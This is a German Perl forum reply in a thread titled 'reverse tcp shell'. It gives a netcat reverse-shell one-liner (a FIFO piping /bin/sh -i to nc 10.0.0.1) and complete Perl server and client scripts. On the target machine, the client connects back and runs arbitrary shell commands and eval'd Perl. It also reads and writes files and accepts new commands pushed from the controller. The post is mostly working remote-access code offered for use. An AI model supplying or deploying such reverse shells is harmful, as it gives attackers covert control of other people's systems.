Thread reverse tcp shell (36 answers)
Opened by Whook at 2013-09-30 14:50

topeg
 2013-09-30 23:20
#170854 #170854
User since
2006-07-10
2611 Artikel
BenutzerIn

user image
Ja mit netcat ist es unter Linux nicht schwer eine Remoteshell zu erzeugen:

Eigener Rechner: nc -l 45678

Anderer Rechner: mkfifo /tmp/tmp_fifo; cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc 10.0.0.1 1567 > /tmp/tmp_fifo 

Mit windows wird es schwirig da die STD-Handles nicht POSIX-Konform sind. Perl versucht sein möglichstes um das zu verbergen. Die Probleme zeigen sich aber, wenn man versucht die Handles umzuleiten. Das funktioniert unter Windows nicht gut. Schau mal in die letzten Threads von bianca in der Beziehung an.

Mein Vorschlag verabschiede dich von der Vorstellung die Konsole umzuleiten. einfacher ist es etwas ähnliches selber zu bauen.

Sende Kommandos an den Client, führe das dort aus und lese die Daten zurück. Damit bekommt man zwar keinen direkten Interaktiven Zugriff (kein Editor oder so was), aber du kannst alles lesen/schreiben was du willst.

Eigenen Rechner:

SERVER:
more (21.2kb):
Code (perl): (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;
use Net::hostent;

my %commands=(

  qr/^perl:(.+)$/si => sub{
    my ($socket,$eoc)=@_;
    my $code='';
    while( my $line = <STDIN> )
    {
      last if( $line=~/^\s*$eoc\s*$/s );
      $code.=$line;
    }
    print $socket "perl:".length($code)."\n$code";
    return 1;
  },

  qr/^addcmd:(.+):(.+?)$/si => sub{
    my ($socket,$name,$eoc)=@_;
    print "$name => $eoc\n";
    my $code='';
    while( my $line = <STDIN> )
    {
      last if( $line=~/^\s*$eoc\s*$/s );
      $code.=$line;
    }
    print $socket "addcmd:".length($code).":$name\n$code";
    return 1;
  },

  qr/^wfile:(.+?):(.+)$/si => sub{
    my ($socket,$from,$to)=@_;
    if( open(my $fh, '<:raw', $from) )
    {
      my $buff=<$fh>;
      print $socket "wfile:".length($buff).":$to\n";
      print $socket $buff;
      return 1;
    }
    warn "ERR: open $from ($!)\n";
    return 0;
  },

);

my $server = IO::Socket::INET->new(
  Proto     => 'tcp',
  LocalPort => 5678,
  Listen    => SOMAXCONN,
  Reuse     => 1,
);

die("Can't start Server\n") unless($server);

print "SERVER LISSENING\n";

if (my $client = $server->accept())
{
  $client->autoflush(1);
  my $hostinfo = gethostbyaddr($client->peeraddr);
  print "[Connect from ".( $hostinfo->name() || $client->peerhost() )."]\n";
  while(1)
  {

    print $client "cwd:\n";
    my $dir=read_blk($client);
    chomp($dir);
    print "$dir > ";

    my $cmd=<STDIN>;
    last if($cmd=~/^exit/);

    my $done=-1;
    for my $tst (keys(%commands))
    {
      if($cmd=~/$tst/)
      {
        $done=$commands{$tst}->($client,$1,$2,$3,$4,$5);
        last;
      }
    }

    print $client $cmd if( $done < 0 );

    print read_blk($client)."\n" if( $done != 0 );
  }
}

sub read_blk {
  my ($client)=@_;
  my $size=<$client>;
  chomp($size);
  die("ERROR READ DATA: NO SIZE") unless($size=~/^\d+$/);
  my $buff='';
  $client->read($buff,$size);
  return $buff;
}


Zielsystem:

CLIENT:
more (20.6kb):
Code (perl): (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use Cwd;

my %commands;
%commands=(
  qr/^echo:(.+)$/si => sub{ return "$_[1]\n"; },

  qr/^addcmd:(\d+):(.+?)$/si => sub{
    my ($socket,$loc,$name)=@_;
    my $code='';
    $socket->read($code,$loc);
    $code=eval("sub{ $code; }");
    my $msg="MSG: $name => $code";
    if($code and ref($code) eq 'CODE') {
      $commands{$name}=$code;
    }
    $msg="ERR: ".$@ if($@);
    return $msg;
  },


  qr/^perl:(\d+)$/si => sub{
    my ($socket,$loc)=@_;
    my $code='';
    $socket->read($code,$loc);
    my $msg="MSG: ".eval($code);
    $msg="ERR: ".$@ if($@);
    return $msg;
  },

  qr/^cmd:(.+)$/si => sub{
    my ($socket,$cmd)=@_;
    my $ret="MSG: ".`$cmd`;
    return $ret."\n";
  },

  qr/^rfile:(.+)$/si => sub{
    open(my $fh, '<:raw', $_[1]) or return "error open $_[1] ($!)";
    local $/=undef;
    return <$fh>;
  },

  qr/^wfile:(\d+):(.+)$/si => sub{
    my ($socket,$size,$file)=@_;
    open(my $fh, '>:raw', $file) or return "ERR: open $file ($!)";
    my $buff='';
    $socket->read($buff,$size) or return "ERR: read $file ($!)";
    print $fh $buff;
    return "MSG: $file written";
  },

  qr/^cwd:(.*)$/ => sub{
    my ($socket,$dir)=@_;
    if(length($dir)) {
      unless(chdir($dir)) {
        return "ERR chdir $dir ($!)";
      }
    }
    return getcwd();
  },
);

my $socket  = IO::Socket::INET->new(
  Proto     => "tcp",
  PeerAddr  => 'localhost',
  PeerPort  => 5678,
);

die("NO CONNECTION\n") unless $socket;
$socket->autoflush(1);

while(my $cmd = <$socket>)
{
  chomp($cmd);
  my $done=0;
  my $ret='';
  for my $tst (keys(%commands))
  {
    if($cmd=~/$tst/) {
     $ret=$commands{$tst}->($socket,$1,$2,$3,$4,$5);
     $done=1;
     last;
    }
  }

  $ret="ERR: UNKNOWN COMMAND: $cmd\n" unless $done;

  $ret="MSG: NO RETURN\n" unless length $ret;
  print $socket length($ret)."\n".$ret;
}



Wenn du den Code gründlich ließt wirst du feststellen das ich immer auch die Länge von Datebsätzen mit gebe. Damit verhindere ich das der Code beim lesen irgendwo hängen bleibt.

Mit dem Script oben kannst du auch Kommandos hinzufügen:
Code: (dl )
1
2
3
4
5
6
addcmd:^cd:(.+)$:eoc
my ($socket,$dir)=@_;
my $ok=chdir($dir);
return "ERR chdir $dir ($!)" unless $ok;
return "MSG: $dir";
eoc

Das fügt das Kommando cd hinzu:
cd:..
Last edited: 2013-09-30 23:22:47 +0200 (CEST)

View full thread reverse tcp shell